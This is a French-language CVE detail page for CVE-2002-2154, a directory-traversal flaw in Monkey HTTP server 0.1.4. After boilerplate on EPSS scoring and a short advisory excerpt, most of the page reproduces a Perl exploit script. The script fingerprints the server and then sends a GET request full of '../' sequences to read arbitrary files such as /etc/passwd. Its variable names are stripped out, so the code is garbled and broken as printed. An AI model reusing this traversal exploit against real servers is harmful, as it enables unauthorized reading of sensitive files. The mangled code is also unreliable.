CVE-2002-2154 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/5792/info Monkey HTTP server is prone to a directory-traversal bug that may allow attackers to access sensitive files. By passing a malicious query to a vulnerable server, an attacker can potentially gain access to arbitrary webserver-readable files. This issue occurs because the application fails to sufficiently validate the user-supplied input. #!/usr/bin/perl # # (0 day;) Monkey-0.1.4 reverse traversal exploit # # Usage: # perl monkey.pl <hostname> <httpport> <file> # # <hostname> - target host # <httpport> - port on which HTTP daemon is listening # <file> - file which you wanna get # # Example: # perl monkey.pl www.ii-labs.org 80 /etc/passwd # # by DownBload <downbload@hotmail.com> # Illegal Instruction Labs # use IO::Socket; sub sock () { = IO::Socket::INET->new (PeerAddr => , PeerPort => , Proto => "tcp") || die "[ ERROR: Can't connect to !!! ]\n\n"; } sub banner() { print "[--------------------------------------------------]\n"; print "[ Monkey-0.1.4 reverse traversal exploit ]\n"; print "[ by DownBload <downbload\@hotmail.com> ]\n"; print "[ Illegal Instruction Labs ]\n"; print "[--------------------------------------------------]\n"; } if (0ARGV != 2) { banner(); print "[ Usage: ]\n"; print "[ perl monkey.pl <hostname> <httpport> <file> ]\n"; print "[--------------------------------------------------]\n"; exit(0); } = [0]; = [1]; = [2]; banner(); print "[ Connecting to ... ]\n"; sock(); print "[ Sending probe... ]\n"; print "HEAD / HTTP/1.0\n\n"; while ( = <>) { = . ; } if ( =~ /Monkey/) { print "[ Monkey HTTP server found, continuing... ]\n"; } else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; } close (); print "[ Connecting to ... ]\n"; sock(); print "[ Sending GET request... ]\n"; print "GET //../../../../../../../../../ HTTP/1.0\n\n"; print "[ Waiting for response... ]\n\n"; while ( = <>) { print ; } close ();